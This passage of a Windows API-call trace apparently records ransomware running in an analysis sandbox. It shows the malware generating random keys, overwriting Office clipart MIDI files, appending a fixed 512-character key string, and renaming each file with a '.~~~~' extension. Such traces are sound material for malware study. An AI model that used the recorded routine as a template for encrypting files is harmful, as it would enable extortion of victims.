	[0111.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f680 | out: hHeap=0x300000) returned 1
	[0111.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282e728
	[0111.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.183] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0111.184] GetLastError () returned 0x0
	[0111.184] GetLastError () returned 0x0
	[0111.184] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0111.184] GetLastError () returned 0x0
	[0111.184] GetLastError () returned 0x0
	[0111.247] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffe6a5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.254] WriteFile (in: hFile=0x140, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x195b, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0x195b, lpOverlapped=0x0) returned 1
	[0111.255] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0111.255] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.255] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.255] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.255] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.255] CloseHandle (hObject=0x140) returned 1
	[0111.255] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.255] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid.~~~~")) returned 1
	[0111.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0111.256] GetLastError () returned 0x0
	[0111.256] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0111.258] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.258] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0111.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0111.258] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23124807147) returned 1
	[0111.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xabeaa650, dwHighDateTime=0x1d60e1e)) 
	[0111.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0111.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0111.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0111.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9a88
	[0111.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9a88 | out: hHeap=0x300000) returned 1
	[0111.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282e8f0
	[0111.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.259] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0111.259] GetLastError () returned 0x0
	[0111.259] GetLastError () returned 0x0
	[0111.259] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0111.259] GetLastError () returned 0x0
	[0111.259] GetLastError () returned 0x0
	[0111.261] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffe65c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.261] WriteFile (in: hFile=0x140, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x19a4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0x19a4, lpOverlapped=0x0) returned 1
	[0111.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0111.262] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.262] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.262] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.262] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.262] CloseHandle (hObject=0x140) returned 1
	[0111.263] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.263] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid.~~~~")) returned 1
	[0111.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0111.264] GetLastError () returned 0x0
	[0111.264] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0111.265] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.265] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0111.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0111.265] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23125551901) returned 1
	[0111.265] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xabeaa650, dwHighDateTime=0x1d60e1e)) 
	[0111.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0111.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0111.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0111.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9ac0
	[0111.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9ac0 | out: hHeap=0x300000) returned 1
	[0111.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282ec80
	[0111.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.266] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0111.266] GetLastError () returned 0x0
	[0111.267] GetLastError () returned 0x0
	[0111.267] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0111.267] GetLastError () returned 0x0
	[0111.267] GetLastError () returned 0x0
	[0111.270] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffe34d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.270] WriteFile (in: hFile=0x140, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x1cb3, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0x1cb3, lpOverlapped=0x0) returned 1
	[0111.276] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0111.276] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.276] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.276] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.276] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.276] CloseHandle (hObject=0x140) returned 1
	[0111.276] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.276] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.~~~~")) returned 1
	[0111.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0111.278] GetLastError () returned 0x0
	[0111.278] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0111.279] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.279] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0111.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0111.280] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23126977316) returned 1
	[0111.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xabed07b0, dwHighDateTime=0x1d60e1e)) 
	[0111.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0111.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0111.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0111.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9af8
	[0111.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9af8 | out: hHeap=0x300000) returned 1
	[0111.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282ed18
	[0111.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.280] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0111.281] GetLastError () returned 0x0
	[0111.281] GetLastError () returned 0x0
	[0111.281] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0111.281] GetLastError () returned 0x0
	[0111.281] GetLastError () returned 0x0
	[0111.284] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffe594, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.284] WriteFile (in: hFile=0x140, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x1a6c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0x1a6c, lpOverlapped=0x0) returned 1
	[0111.285] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0111.285] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.285] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.285] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.285] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.286] CloseHandle (hObject=0x140) returned 1
	[0111.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.286] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.~~~~")) returned 1
	[0111.287] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.287] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0111.287] GetLastError () returned 0x0
	[0111.287] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0111.289] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.289] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0111.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0111.289] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23127944870) returned 1
	[0111.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xabef6910, dwHighDateTime=0x1d60e1e)) 
	[0111.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0111.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0111.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0111.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9b30
	[0111.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9b30 | out: hHeap=0x300000) returned 1
	[0111.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282edb0
	[0111.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.290] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0111.290] GetLastError () returned 0x0
	[0111.291] GetLastError () returned 0x0
	[0111.291] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0111.291] GetLastError () returned 0x0
	[0111.291] GetLastError () returned 0x0
	[0111.370] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffeaef, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.371] WriteFile (in: hFile=0x140, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x1511, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0x1511, lpOverlapped=0x0) returned 1
	[0111.371] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0111.371] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.372] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.372] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.372] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.372] CloseHandle (hObject=0x140) returned 1
	[0111.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.372] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.~~~~")) returned 1
	[0111.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0111.485] GetLastError () returned 0x0
	[0111.485] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0111.487] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.487] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0111.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0111.488] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23147786914) returned 1
	[0111.488] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xac0e5af0, dwHighDateTime=0x1d60e1e)) 
